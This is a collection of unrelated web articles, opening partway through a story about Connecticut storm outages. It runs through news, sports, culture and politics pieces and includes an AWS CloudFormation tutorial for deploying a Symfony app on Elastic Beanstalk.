U.S. Department of Energy to intervene and make sure the state receives enough out-of-state mutual aid.  U.S. Department of Energy’s Deputy Assistant Secretary for Infrastructure Security and Energy Restoration Bill Bryan said the local utilities have been overwhelmed by this storm.  “If you look at the outages in Connecticut, which basically equals the outages of all the other places combined, you really don‘t have yet a fair distribution of workers from mutual assistance teams out here doing this,” Bryan said Tuesday at an afternoon press conference in the Emergency Operations Center.  With 6,000 workers expected to help out with the outages across the northeast, Bryan said he will be making some calls to make sure Connecticut gets the number of workers it needs.  “We are a little bit disappointed,” Malloy said.
-Nomadic photographer Gianluca Pardelli hitched his way around the former Soviet Union, searching for identity in a cultural vacuum.  Nomadic photographer Gianluca Pardelli hitched his way around the former Soviet Union, searching for identity in a cultural vacuum.  Share this Share this...  Linkedin  Gianluca Pardelli has travelled to over 70 countries across four continents, but one region has beguiled him more than most: the territory once known as the Soviet Union.  “I grew up in a family with strong political ties to the former Eastern Bloc,” says Gianluca, who’s from Tuscany in Italy.  “I developed a strong love for Russian literature, cinema and fine arts but I have always been interested in remote places and far-away cultures.”  Between studying Slavic languages in Berlin and photojournalism in London, Gianluca travelled widely as a student, falling in love with the former USSR and its heritage after first visiting there in 2008.  “On one hand, the USSR brought undeniable social and economic developments to the region,” he says.  “On the other, however, local cultures and traditions have been uprooted, leaving locals with a complex identity problem – especially after the fall of communism, which left an ideological vacuum.”  Gianluca decided to explore that search for identity through a photo project called Tabula Rasa Electrified.  The photographer couchsurfed his way through two trips: one taking in post-Soviet Central Asia (Kyrgyzstan and Kazakhstan), the other working through the Southern Siberian States (Mongolia and the republics of Tuva, Altai, Buryatia and Khakassia).  Speaking fluent Russian helped Gianluca get close to people – many of whom regarded him as a novelty – and absorb the nuances of how they saw themselves.  “A lot of these countries try to dig into an almost mythological past of nomadic warriors and conquering kings to forge a renewed national identity,” he says.  “Some of these figures are real – if somewhat remote and definitely controversial, such as Genghis Khan in Mongolia – while others are more characters from folk legends.”  “Language also plays an important role in re-creating a national identity: Russian is still widespread in the region, but all these countries and republic have their own national language, which they are trying to revive more or less successfully.”  Contrasts could be found everywhere. In southwestern Kazakhstan, Gianluca hit it off with a bus driver who had a surprisingly in-depth knowledge of Italian medieval literature thanks to the Soviet education system – one of the things that people in the region are most nostalgic about.  In the Siberian republics, he connected with a former police officer who had become the leader of a local opposition party in Kyzyl, building his campaign on a curious (but not uncommon) mix of Soviet nostalgia and anti-Putinism.  In Mongolia, the synergy of the Gobi Region – with its blend of nomadic herders and jeep drivers servicing rich tourists – embodied the past and present trying to fit together.  But asked what he learned about himself along the way, the photographer simply shrugs the question off.  “There is a Chinese saying: if an idiot leaves for a long journey, when he comes back he’ll still be an idiot,” says Gianluca, who is loosely based between Berlin and the Caucasus, where he spends most of his time pursuing “photographic, linguistic and gastronomic discoveries”.  “I think that the influence travel has on one’s own personality is a hackneyed and overrated concept.  “There is a undeniable enrichment – a huge one, even – but one’s own roots still play the most important role. Everything else is ‘just’ branches, flowers and leaves.”  Check out the portfolio of photographer Gianluca Pardelli or follow him on Instagram.  Enjoyed this article? Like Huck on Facebook or follow us on Twitter.
-If you think you were cramped in your dorm freshman year, imagine being placed in a bathroom or closet.  That’s what happened to at least two incoming freshman who applied to live in Neptune, UCF’s newest housing facility.  “I kept seeing everyone posting on the UCF Class of 2018 Facebook page about roommates and assignments, and I had my community with room number and building, but no roommates,” Ashlyn TenBieg, an incoming freshman planning to major in both Business and Event Management, said.  TenBieg decided to call UCF housing on Friday and figure out exactly why she didn’t appear to have any roommates for this fall. She got transferred around until she got a woman who told her some startling news.  Like us on Facebook & follow @UCFKnightNews on twitter for UCF news on your feeds!  Follow @UCFKnightNews  “[She] told me that they mistakenly placed me in a bathroom and that I will get a new assignment,” TenBieg said.  TenBieg said she was glad she called about the problem, and found the whole situation kind of humorous.  “I thought it was kinda funny,” TenBieg said. “I thought the lady was just joking at first when she told me because she said it so casual.”  Another incoming freshman, Brian Schickman, had something very similar happen to him.  Schickman, an industrial engineering major, already knew his desired roommate. The two were talking constantly about their future at UCF when they noticed their rooming assignment changing almost weekly.  Their room had changed floors and buildings twice before their parents got involved.  “Both of us were starting to get a little bit annoyed and confused so his parents called the school and asked why it kept changing,” Schickman said. “They said they accidentally placed us in a closet.”  Both students were able to resolve the problem because they noticed the problem and were proactive to resolve it.  Courtney Gilmartin, UCF spokeswoman, said that housing didn’t know anything about these students getting placed irregularly for the fall term, but said that one unnamed student did have a problem getting placed in the summer term and ended up in a room that didn’t exist.  After an investigation, housing said that a handful of students were incorrectly assigned in Neptune but said that the problem was promptly corrected.  “This was all kind of caused by a programming glitch just by virtue of Neptune being a new community,” Gilmartin said. “A student was placed in a room that didn’t exist and it was brought to housing’s attention and fixed immediately. That student was given another assignment in an actual room.”  Gilmartin said that it isn’t common to hear about errors like this but said there’s always a possibility of small glitches, especially being that Neptune is a new community.  “The incorrect room assignments would have come up as move-in preparation drew closer, so there wouldn’t have been a chance that students would show up on campus and not have a place to live,” Gilmartin said.  If you notice any irregularities in your housing assignment, or if you aren’t assigned roommates yet contact UCF housing at 407-823-4663.
-This is the vexing question that has been percolating inside my mind while reviewing the Sony Xperia S: is Google's Ice Cream Sandwich version of Android out yet? The instinctive answer would be quick and affirmative, what with the Galaxy Nexus having been on sale for months, but go to your local phone store and try to count the number of non-Nexus ICS handsets currently on sale. It won't take you long since the answer will almost invariably be zero.  Android 4.0 (ICS) was officially announced on October 18th alongside an SDK for developers to start building apps for the new platform. A month later, it was made available as an open source download and accompanied by the launch of the hero device for the new OS version, the Galaxy Nexus. Google still isn't in the business of selling phones, but you might be forgiven for thinking it places a heavy priority on its own sub-brand of Nexus phones. The Nexus S, the previous flagship Googlephone, is the only other smartphone to be receiving an official over-the-air update to version 4.0.  Google is having its Ice Cream Sandwich and eating it too, but users are left hungry  In the immediate wake of the ICS announcement, HTC's response to questions about upgrades for its older smartphones was telling: the company said it was "reviewing [the] features and functionality" of the new operating system and evaluating the viability of updates. Was HTC really kept out of the loop until the code was publicly detailed and released under an open source license? It's possible.  Rumors of Google playing favorites among Android manufacturers by providing early access to its next OS for some but not others have been heard, but we shouldn't be so credulous as to place all the blame for these delays on Google's shoulders. We're now four and a half months removed from the launch of ICS and Asus, for one, has been able to turn the stock software into a decent, if imperfect, Ice Cream Sandwich ROM for its Transformer Prime tablet.  At this point, any company that continues to ship new devices with an older version of Android only has itself to blame. Although Sony can point to the collective lethargy among Android phone makers in delivering updates to and new devices with Ice Cream Sandwich, its own failure to surpass them with the Xperia S cannot be excused.  The manufacturers' critical failure with respect to Android updates has been a resolute insistence on applying their own skin on top of the stock OS, no matter how much that process slows down the user experience or the release schedule. Sadly, they also don't seem to have learned anything — or enough — from their former errors, as the current situation is a repeat of what we saw in 2010, when the Nexus One was first to receive both Android 2.1 and 2.2, and 2011, when the Nexus S taunted other phones with its Gingerbread exclusivity for months.  Google doesn't make a habit of enforcing exclusives, of course, but its own active involvement in the Android upgrade process seems to mirror Apple's behavior with the iPhone: get the hero device out with the new OS, update the previous hardware generation, and focus on delivering a cohesive user experience that's recognizably yours. The group of Android phone makers laboring under the mistaken belief that they need their own skins to differentiate away from the stock OS is actually helping Google in strengthening its own brand and credibility.  Android phone owners are left at the mercy of quixotic phone makers and myopic carriers  The one party that isn't gaining anything in this unholy muddle is the user. The term "Android" still encompasses the full range of devices running the operating system, from the Acer Liquid Express to the ZTE Blade II, and yet we're sat watching as a two-stage software update roadmap develops. One is for Google's own, the Xooms and the Nexuses of the world, and the other is for everyone else, leaving Android phone owners at the mercy of quixotic phone makers and myopic carriers. Needless to say, that's not the way it should be.  If Google is in charge of the Android project, it should accept responsibility for all of it, because that's how the rest of the world perceives it. And if it's not, it should come clean by clearly defining which devices will and won't benefit from its "express new OS" service.  Android users will want to know.
-0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard  With an arrest expected as early as Monday in Robert Mueller’s escalating investigation into the Trump campaign’s ties to Russia, Donald Trump escaped the White House on Saturday, reportedly wearing his standard golf outfit and shoes.  Per pool: POTUS left the White House “wearing a white hat, dark jacket, white shirt and what may prove to be golf shoes.” — Kyle Griffin (@kylegriffin1) October 28, 2017  A short time later, Griffin confirmed, the president arrived at his club in Sterling, Virginia – the fourth straight weekend that Trump has left his job in Washington to hit the links.  Per pool, Trump has arrived at Trump Nat’l Golf Club in VA. This is his 76th day at a golf club, 96th day at a Trump property as president. — Kyle Griffin (@kylegriffin1) October 28, 2017  According to the MSNBC producer, citing the press pool, Trump’s motorcade was met with a protester at the entrance of the club, holding a sign that said, “Impeach.”  Pool: As Trump’s motorcade passed, “a lone protester stood at the entrance holding a handwritten sign that said: ‘Impeach.'” https://t.co/HVjK8FQUmZ — Kyle Griffin (@kylegriffin1) October 28, 2017  Trump’s visit to his Virginia golf club marks his 76th day golfing and 96th day at one of his properties during his short 10 months in the White House. For those keeping score at home, that means Trump has spent 27 percent of his time as president golfing and more than a third hiding out at one of his lavish properties.  Trump’s poor work ethic is stunning given how harshly he criticized former President Barack Obama’s golf habits during the campaign. The current president even repeatedly promised that, if elected, he wouldn’t have time to golf and probably would rarely even leave the White House.  Over the past ten months, virtually the opposite has been true as Trump’s frequent travel outside of Washington – often to one of his own properties – has all but bankrupted the U.S. Secret Service.  His latest golf outing on Saturday comes after the explosive news that the first charges in Robert Mueller’s Russia investigation have been approved and an arrest could come as early as Monday. In his early morning tweets, Trump made no mention of the new developments.  Instead, Trump prefers to bury his head in one his sand traps and pretend all of this is fake news.  If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:
-CHICAGO – Forty-nine Americans were selected in this weekend’s 2017 NHL Draft at United Center, home of the Chicago Blackhawks.  Six Americans were taken in Friday night’s opening round, with forward Casey Mittelstadt (Eden Prairie, Minn.) being the first U.S. player off the board when the Buffalo Sabres drafted him 8th overall. The Tampa Bay Lightning selected defenseman Callan Foote (Englewood, Colo.) with the 14th pick in the draft before forward Josh Norris (Oxford, Mich.) was drafted 19th overall by the San Jose Sharks. Forward Kailer Yamamoto (Spokane, Wash.) was picked by the Edmonton Oilers with the 22nd overall pick. A pair of Lakeville, Minnesota, natives, forward Ryan Poehling and goaltender Jake Oettinger, were taken back-to-back with the 25th and 26th picks by the Montreal Canadiens and Dallas Stars, respectively.  Four more Americans were taken in the second round, nine in the third, six in the fourth and fifth, eight in the sixth and 10 in the seventh round.  For a complete list of Americans taken in the 2017 NHL Draft, click here.
-WELCOME TO HACHETTE PARTWORKS  A PUBLISHING COMPANY WITH A STRONG CREATIVE HERITAGE  Hachette Partworks publishes collectable series such as Marvel Graphic Novel Collections, Judge Dredd, Art therapy, the Art of Crochet and more!  THE LEADER IN PARTWORKS PUBLISHING  Hachette Partworks publish in most major English speaking markets including the UK, Republic of Ireland, Australia, New Zealand, South Africa and Malta.  We have an outstanding catalogue of both mass market and niche partwork collections, including our hugely successful, innovative craft collections such as Art therapy and The Art of Crochet and our exceptionally detailed build-up models such as Your Model Railway Village as well as our high-quality book collections including Marvel, The Ultimate Graphic Novel collection and Doctor Who: The Complete Collection.  With fascinating and inspiring editorial content across a wealth of subjects, and big name licenses such as Marvel and Disney, Hachette Partworks create high-quality products across every genre.  Together with our sister companies, we publish in 32 countries, 16 languages and launch 80 collections per year, making us the most prolific partwork publisher on the market today.
-Scott Stapp Relatives Panic He's Out to Kill Obama [911 Tape]  Scott Stapp ... Relatives Panic -- He's Out to Kill Obama (911 Tape)  EXCLUSIVE  threatened to assassinate... and his alarmed wife and sister-in-law made a desperate 911 call to stop him.  Scott had just gone AWOL from a mental facility late last month, when his sister-in-law told the 911 dispatcher he was cruising around his neighborhood, shirtless on a bicycle. She says the former Creed frontman claimed to be a CIA agent and his mission was to kill Obama.  Stapp claimed in a rambling video the IRS is trying to ruin his life because he's been trashing Obama.  Jaclyn Stapp, Scott's wife, joins the 40-minute 911 call, telling the dispatcher Scott had printed out 400 - 600 pages of CIA documents which he supposedly found online, put them in a book bag and took off on his bike.  The 2 women were pleading with the dispatcher to snare Scott and take him back to the psych ward.  As cops were dispatched, Scott placed his own 911 call, saying his wife had stolen his truck and that's why he was on a bike.  When cops arrived Scott told them Jaclyn had pilfered $6 mil from him, and when he confronted her she decided to get him locked up. In the end, police determined Scott did not show enough signs of mental instability to warrant a psych hold.  TMZ broke the story ... Jaclyn has filed legal docs trying to get Scott on a 60-day psych hold, claiming he was deep into various drugs, including coke, weed, PCP and amphetamines. Scott posted a video claiming he's drug free.
-The three people arrested right before heading through Holland Tunnel with a cache of weapons Tuesday morning say there were trying to rescue a teen girl from an allegedly drug-filled apartment. The weapons found in a black-and-lime green SUV included "a pump action shotgun with a pistol grip and collapsible stock; an SAR-98 Salamander Arms assault rifle; seven clips of ammunition for the rifle; four 9mm pistols; and a .45 caliber pistol with several magazines" plus "a Kevlar bullet resistant helmet with camouflage cover; tactical goggles; night-vision goggles; and body armor."  At 7:40 a.m. yesterday, Port Authority Police Officer John Basil noticed a cracked windshield on the SUV and pulled over the extremely conspicuous vehicle when it was on the NJ side of the Holland Tunnel. "He saw a loaded magazine for a gun and ordered everyone out," according to the Daily News. When driver Dean Smith, 53, got out, Officer Basil spotted the .45.  A search of the vehicle turned up the arsenal. The NY Post reports that officers found a bullet clip in the SUV that says 'Merica.  The other man in the car, John Cramsey, 50, is a gun dealer and anti-heroin activist from Pennsylvania; his anti-heroin stance was spurred on after his daughter's recent fatal heroin overdose. Cramsey wrote on his Facebook page at 1 a.m., "Today is the day that marks the 4 Month Anniversary of the loss of my sweet baby girl... I have been fighting the Demon that stole you from me with everything I got .... How can one person possibly cry so much without just drying up the tear ducts forever ?"  Then, at 7:13 a.m., he posted:  I'm currently 11 miles outside of Brooklyn New York and going to a hotel to extract a 16 year old girl who went up there to Party with a few friends. One of those friends she went up there with will not be returning . This young lady from Wilkes Barre is scared and wants to come home. Last night she woke to find her friends body next to her in the same bed were her friend died of another heroin overdose. The Child named Janaee Patterson and she is from the Wilkes Barre area. A Facebook message to the Mother and the Brother with no response yet. I'm bringing her out of NY today and anybody else in that hotel that wants to go home too . Lyn Baker I am with your friend Kimberly Anne Walker and we we are now 9 miles out . She accepted your friend request. I will keep you posted as soon as I got some news.  Hey everybody !  Who remembers the Beastie Boys ....  NO ....SLEEP ....TILL BROOKLYN !  ENOUGH is ENOUGH !  Coming to a Town near YOU SOON !  The News adds, "When cops tracked down the teen the suspects claimed they were headed to rescue, the girl told police she didn’t want to be saved, sources said. Port Authority cops couldn’t verify the teen was ever in trouble."  Kimberly Arendt, 29, the third person in the car, was also arrested. The three face charges including weapons possession, possession of high-capacity magazines, transport of an assault firearm and pot possession.  Cramsey with his SUV and an "Enough is Enough" banner; he belongs to an "Enough is Enough" FB group that explains, "We are a group of people who have felt both the pain of losing a Loved One or have survived an addiction or supported someone who has and are now Sounding Out to say Enough is Enough."  A man who was in a holding cell with Cramsey and Smith told the Post that the "men claimed the weapons were only in the car for a photo shoot from the day before and they didn’t have time to unload them."  Cramsey's supporters have been responding to Cramsey's Facebook with explanations— "They were stopped for a cracked windshield (according to WFMZ) and when they searched the vehicle, found loaded guns. He simply forgot they were there (he's a gun dealer, so that makes sense). Unfortunately for him, the port authority did, and NY isn't as liberal on gun laws as PA. Hopefully things will work out"—and ideas on how to help him—"Ugh I feel really bad about, because John has done so much in our community to help people. My heart goes out to all three. I hope we can do something to help these guys by possibly writing letters of character to the judge?"  One of his friends told WCBS 2, "Ever since his daughter died, I think it was one of those things where he wishes he could have done something to save her, and now that she’s gone, he feels this guilt in his heart that he needs to help other people."
-TORONTO, CANADA - JANUARY 7: Daniel Cleary #11 of the Detroit Red Wings shoots during warmup before NHL action against the Toronto Maple Leafs at The Air Canada Centre January 7, 2012 in Toronto, Ontario, Canada. (Photo by Abelimages/Getty Images) (Photo by Abelimages/Getty Images)  Detroit Red Wings forward Daniel Cleary is looking to make a comeback.  Last season was a rough one for Cleary. The 36-year-old had just one goal and one assist in the mere 17 games he took the ice — thanks to an injury. He didn’t even see the postseason (not that it lasted very long for the Wings, anyway).  Next month, Cleary becomes an unrestricted free agent when his 1-year contract with the Wings expires. But if he has his way — Cleary won’t be going anywhere. He told the St. John’s Telegram that he soon plans to speak with General Manager Ken Holland about his future with the team.  “Are you kidding me?” he asked rhetorically. “I live for it. You don’t play this long without loving the game. I love to practice, I love to skate, I love working out. I love everything there is about hockey.”  Sources within the Red Wings’ organization suggest Holland and Detroit management are big on living up to their word, and there was some kind of agreement a couple of years ago between Cleary and the team that the Wings would take care of him after turning down a couple of big offers to remain in Detroit.  In the summer of 2013, the Philadelphia Flyers offered the Red Wings veteran a three-year contract worth $8.25 million. The Florida Panthers also came in with a hefty offer.  The report goes on to say that just before signing a 3-year deal with the Flyers, Cleary drove himself to Traverse City to meet face to face with Holland and then-coach Mike Babcock — where a gentleman’s agreement of sorts took place.  Holland and Babcock were big fans of Cleary’s. They like his character — good dressing room guy, as they call it in hockey. They wanted him in Detroit, and Cleary wanted to remain in Motown. All they had to do was make it happen.  And they did, to the tune of $1.75 million for one year and a no-trade clause.  As part of the deal, apparently, there was a handshake agreement on another contract for 2014-15, which they agreed on last July. And yet another for 2015-16. Supposedly. Maybe for a Detroit discount of $750,000 or so.  We haven’t yet heard anything from the Wings organization whether or not they would be interested in keeping Cleary on board. Some sources think he could stay with a position in the front office if he isn’t resigned to the team.  Stay tuned.
-I decided to follow an advice shared on twitter via the The Practical Dev: the best way to learn AWS is to start using it.  The problem  I was looking for a way to quickly create a Minimum Viable Stack on AWS with the following properties:  Be setup in less than 10min Be able to run a Symfony application Using PostgreSQL on RDS Deployment is easy and fast Non AWS experts can create the MVS  But I couldn’t find any out-of-the-box tools so I looked for a solution. Here I describe my journey which ended up with a ready-to-go CloudFormation configuration.  Elastic Beanstalk  I started working with Elastic Beanstalk, the PAAS of AWS, which seemed to be exactly what I needed. Thanks to this article on Elastic Beanstalk configuration files and this one on how to deploy a Symfony application, I was able to run my application after some debugging cycles. My problem after that was that I couldn’t reuse my configuration to recreate the whole environment (Elastic Beanstalk instances + RDS instance) for a new project so I chose to experiment using CloudFormation.  CloudFormation  CloudFormation is an AWS service that creates a complete stack (VPC, load balancers, web servers, ..) from a template file.If you want to learn how to use CloudFormation, I recommend you to start by learning the basic templates. I started from a sample Elastic Beanstalk template and changed it so it can run a Symfony App. Here are the steps you need to perform in order to use my template:  Step 1: Because we will pass to the Elastic Beanstalk server the information to connect to the RDS postgresql database through environment variables, you need to update your parameters.yml with the following values:  database_host: "%env(DB_HOST)%" database_port: 5432 database_name: "%env(DB_NAME)%" database_user: "%env(DB_USER)%" database_password: "%env(DB_PASSWORD)%"  Step 2: Ensure you have specified the driver to “pdo_pgsql” in the “app/config/config.yml” file.  Step 3: Upload a zip file with all your code to a s3 bucket. You create the zip file with this command:  zip -r code.zip . --exclude=*vendors*`  Step 4: Download my CloudFormation template.  Step 5: Go to your AWS console and open the CloudFormation and click on “create new stack”.  Step 6: Enter the required information:  Step 7: Click on “next”, “next” and check “I acknowledge that AWS CloudFormation might create IAM resources.”. Then you can click on create. If everything is fine then you should see something like this:  Step 8 : You can check the Elastic Beanstalk page to see if everything went okay and find the url of your project at the top of the page.  Security remark: the password of your database will be available on the AWS console in the config section. A better solution would be to use an s3 file that will be copied during the initialisation of the Elastic Beanstalk container using .ebextensions files or using KMS and DynamoDB.  Configure the Elastic Beanstalk environment  Your site is online but you will want to update it. To do that you need to follow those steps:  Ensure you don’t have a .elasticbeanstalk directory Run “eb init“, choose your region and the application you just created. You can find the name in the Elastic Beanstalk page.  Now you are ready, you can deploy new version of your code simply with “eb deploy“.  Conclusion  CloudFormation is a powerful tool with some drawbacks:  It only works with AWS  It’s not easy to write beautiful code for the infrastructure  To help you write CloudFormation templates, you can try Troposphere. An alternative to using CloudFormation is to use Terraform. You can find an objective benchmark between the two tools here.  Bonus: tips to debug your elastic beanstalk application  Here are some tips you may need to debug you app:  If you are using GIT, to deploy the app on your EB instance, you may need to create a branch called “codecommit-origin”  You can get the logs of the app in the EB service on the aws console  The code that is deployed on your EB instances is automatically stored in a S3 bucket that you can access on the AWS console  You can ssh into the EB instance with the “ eb ssh ” command  ” command The application user is webapp and you can get a bash with the following command: “ sudo -u webapp /bin/bash” . It’s useful if you want to use the Symfony command without being root.  and you can get a bash with the following command: “ . It’s useful if you want to use the Symfony command without being root. If you create through the aws console a RDS database the default name of the database is ebdb. You can find it in the RDS service in the aws console  You liked this article? You'd probably be a good match for our ever-growing tech team at Theodo.  Join Us
-North Korea used civilian passenger planes to transport hard currency seized from expat laborers in the Middle East following the closure of its overseas banks for violating international law.  Sources said since prosecutors in Kuwait ordered the closure of the local branch of North Korea's Trade Bank on charges of money laundering and illicit transfers, the North has used twice-monthly Air Koryo flights to Kuwait to ferry seized wages back to the North.  There are 50,000 to 60,000 North Korean laborers in 16 countries. In Kuwait, there have been some 4,000 since 1995, toiling at construction sites and receiving around W1 million a month (US$1=W1,123), of which the regime confiscates 70 to 80 percent.  The workers send the remainder back to their families in the North and often survive by begging or taking on overtime and extra menial jobs.  Around 2,000 North Koreans work in the United Arab Emirates and 1,800 in Qatar.
-Phil Jackson’s return the Garden as the President of the New York Knicks excites me for countless reasons. I really don’t have anything new to add to why I’m giddy about this since you probably already read tons of laudatory articles by now.  There is one small thing I can think of though and that’s Phil’s infamous reading assignments he gives to every player. I’m sure Phil already figured out his book assignments weeks ago, but just in case he doesn’t, here’s what I would assign to each player:  1) Carmelo Anthony – The Trial  Like Josef K, at some point this season Melo, who has given the Knicks everything, must have woke up in horror to realize that his entire world was upside-down. The tribulations this team has put him through this year are not unlike the bizarre trial a baffled Josef K had to endure in Franz Kafka’s existential classic “The Trial”.  Actually now that I think of it, every loyal Knick fan that has no idea why they are perpetually tortured for their support should read this as well because only Kafka can capture the essence of what it feels like to be a Knicks fan.  2) Raymond Felton – Skinny Bastard  You thought I was probably going to recommend a divorce advice book or some kind of NRA guide on how to shoot, didn’t you? Nope that would be too easy. From the authors of the best selling “Skinny Bitch”, here’s a book Felton might want to dive into.  3) Iman Shumpert – How to Reduce Workplace Conflict and Stress  It’s obviously been a rough season, but it’s been a particularly long one for Shump. Whether it’s from teammates, the coach, or the front office; he’s arguably been one of the most jerked around employees of the Knicks. Here’s a book that could have probably helped him out this year.
-Remix, revamp, whatever you wish to call it.  So my current goal is to complete the four ensemble based on the titular RWBY team at most before October 22nd since that's the date for Volume 4's premiere.  Goal achieved.  Your eyes are not deceiving you, no. Ruby's Red Riding Roses is that big when comparing to Wistful White, Secret Shroud and Glorious Gold. And that's not even the final form yet.  Red Riding Roses - Wielded with both hands since that's Ruby's preferred style of combat.  Wistful White - Shortest among the four, stylized for fencing and spell casting.  Secret Shroud - Ideal length, can be wielded in both normal and reverse-grip.  Glorious Gold - Bulky in appearance, emphasizes on delivering punishing blows.  EDIT: NOW INCLUDING THEIR UPGRADED FORMS.  Kingdom Hearts belongs to Tetsuya Nomura, a joint franchise between Disney and Square-Enix.  RWBY belongs to Monty Oum and Rooster Teeth.
-Dave King has been unable to strike a compromise agreement with the various shareholder factions at Rangers, but the former Ibrox director has insisted that he will not give up on the club.  King has held a series of discussions with the principal individuals involved with the situation at Rangers International Football Club, including Sandy Easdale and Paul Murray, but consensus proved out of reach and the forthcoming Annual General Meeting is likely to be a stormy event.  King had hoped to strike an agreement with the two main blocks of shareholders to appoint new directors to the board, including taking on the role of chairman himself, and begin the process of raising additional funding. Speaking exclusively to The Herald before releasing an official statement, King said that administration is "not an imminent threat", but he does believe it "is a distinct possibility if the AGM results in a continuing lack of continuity on one side or the other".  As it currently stands, the shareholders represented by Sandy Easdale and his brother James, who is a non-executive director at Ibrox, account for around 25% of the company. This grouping includes Blue Pitch Holdings, Margarita Holdings and Charles Green, who has an agreement with the Easdales over the sale of his shares. The lock-in period for these shareholdings ends in December, when the AGM is going to be held. It is unclear what the terms of their agreements are with the Easdales.  King will continue to closely monitor events, and would act swiftly if there was a possibility of re-visiting his consensus plans even at the last minute before the AGM. He believes talks with Easdale and Murray were constructive, and he praised both individuals, however not all shareholders were willing to compromise. King's current stance is that he is not prepared to buy shares in the market when his investment would be better spent going directly to the club, although this could change.  "I'm not walking away, I'm going to continue looking for opportunities between now and the AGM to get a compromise situation," King said. "I will reassess my position depending on the outcome of the AGM, particularly if I believe short-termism remains. I will be prepared to reconsider my current position, and could possibly intervene in the market.  "I don't believe the shareholder base will be so conflicted after the AGM, since there will be a shake up regardless of the outcome. In a year's time, it will be possible for a block of shares to be held by right-minded people, but we will have to get through a lot to get to that stage. I have never gone into a board meeting in my life to vote on issues, the board must work by consensus and discussion, but that has been a reflection of the way the business has been run recently."  Paul Murray is one of four directors who will be nominated for election to the board at the AGM by the institutional shareholders who hold around 28% of the company. A former Ibrox director, and associate of King's, Murray has long campaigned for experienced corporate governance figures to be on the board. King will not, however, take sides ahead of the AGM, and will remain the outlet for any possible last-minute compromise. The South African-based businessman believes that the current situation - James Easdale and Brian Stockbridge, the finance director, are the only two individuals sitting on the plc board, and the club has no chief executive - is unsustainable even in the short-term.  "The board desperately needs governance, and I'm sure Sandy Easdale would acknowledge that they've ended up in an uncomfortable position," King said. "It's very important that the board gets professional governance involved, with financial and business plans that take into account the need for fresh investment to take into account the funding shortfall that will come if the team is to compete again in the top flight, which is what we all want. In my view, there will be a need to two rounds of additional funding between now and then.  "During the last week I engaged a number of stakeholders, both in Glasgow and London, to seek a compromise to the current imbroglio that is restricting the operational capability and the governance at the club. I have also had follow up telephone conversations since my return to South Africa.  "Unfortunately, I have been unable to reach a consensus agreement at this time despite the constructive manner in which everyone approached the discussions with me. Certain influential shareholders are unwilling to compromise at this time and it seems inevitable, unless there is a change of heart, that an acrimonious AGM lies ahead. In my view, the AGM will not be decisive irrespective of its outcome. A continued polarisation is what I was desperately trying to avoid. For the avoidance of doubt and to avoid speculation I advise that Paul Murray and Sandy Easdale both displayed a constructive and flexible attitude during my discussions with them."  King has long maintained that personal enmities and rivalries have held back the progress of the club. He has attempted to override those issues, but some shareholders are entrenched. Murray and Jim McColl, who is backing the institutional shareholders with his expertise and contacts, hope to be able to reveal the beneficial shareholders behind Blue Pitch Holdings and Margarita Holdings, having made a legal request to the club for the information. Sandy Easdale currently holds the proxy for their votes.  Despite briefings to the contrary, King would also not encounter any difficulties with being approved as a director of a publicly listed company. He has settled his dispute with the South African Revenue Service, having agreed to pay £45m in tax arrears, and fines totalling around £700,000 after he was convicted of 41 breaches of the Income Tax Act. All fraud charges were dropped by the state. King continues to be executive chairman of Micromega, his investment firm that is listed on the Johannesburg Stock Exchange, which is a competent jurisdiction. Any board appointment needs to be ratified by the nominated advisor - Daniel Stewart - that managers RIFC's listing on the Alternative Investment Market, and also by the SFA.  As part of his disclosure to the nomad, King included a letter from SARS stating that they consider him a fit and proper person to hold a directorship in a plc, and supporting his bid to become a director of Rangers. This letter would also be part of any future submission to the SFA, who have their own fit and proper person criteria, which is reviewed by the professional game board. King would also argue that his time spent on the board under Craig Whyte's ownership, leading up to administration, was spent trying to hold the owner to account, for which he has a lengthy and instructive paper trail. King also stressed that he did not believe that Peter Lawwell, the Celtic chief executive who sits on the PGB, would unduly influence the decision.  "I also take the opportunity to disassociate myself from the speculative and misinformed press coverage around my fit and proper status," King said. "Let me make my position clear. The settlement of my legal disputes in South Africa was concluded on a basis that has no effect whatsoever on my ability to serve as a director of companies. I presently sit on the board of many companies, including serving as Executive Chairman of a main board stock exchange listed company in South Africa. I have confirmed with my UK attorneys that the legal position is no different in the UK. That leaves only the subjective elements that would apply to any person joining a public company board or becoming involved in a football club under the auspices of the SFA.  "I am fully alert to key questions that are likely to be put to me and I am confident that my responses will be persuasive. However, at this point I have not approached the SFA other than my discussion in 2012 to establish what the elements of the fit and proper test would be. The SFA is clearly not in a position to consider an application that I have not yet made. Such an application would only happen if I am able to reach an in principle agreement to become actively involved in the club's affairs - as is my continued stated intention. At the request of the NOMAD, I have supplied a letter from the South African Revenue Services confirming that they see no difficulty with me continuing to sit on the board of companies. Again, however, due to my inability to make immediate progress it is not necessary to engage further with the NOMAD at this time. When the time arises there may be other questions I have to respond to. I will do so on request.  "I further do not believe that the CEO of Celtic FC attempted to negatively pre-empt any application that I might make to the SFA. I have complete confidence that the SFA will judge any future application on its merits as would be done for any person."  King will now watch events in and around Ibrox with interest. As the one figure who unites the fans and has almost unanimous backing, King's temporary withdrawal is likely to fuel further protests at tonight's Scottish Cup tie against Airdrie at Ibrox. Fans are growing increasingly angry with the board, and the realisation that certain shareholders are preventing consensus will further infuriate them. King will continue to offer that alternative, though.  "I thank every person that I met for maintaining confidentiality about the details of each meeting," King said. "I thank the media for their patience when being met with a repeated 'no comment' from me. I appreciate the importance to the community of what is happening at Rangers but I believe that the best interests of the club will not be facilitated by playing it out in the media. Over the last two years we have all witnessed the destructive value when individuals, who should be putting the club first, advance personal agendas through the media in an attempt to influence the most important stakeholder in Rangers Football Club - the fans. The result is the polarisation of interests that we are experiencing and the loss of valuable time and money in preparing the club to be competitive with our Glasgow neighbours, and other teams, when we return to the top flight of Scottish football - as we surely will. Thankfully the manager continues to make progress through the leagues despite the distractions he has had to deal with."
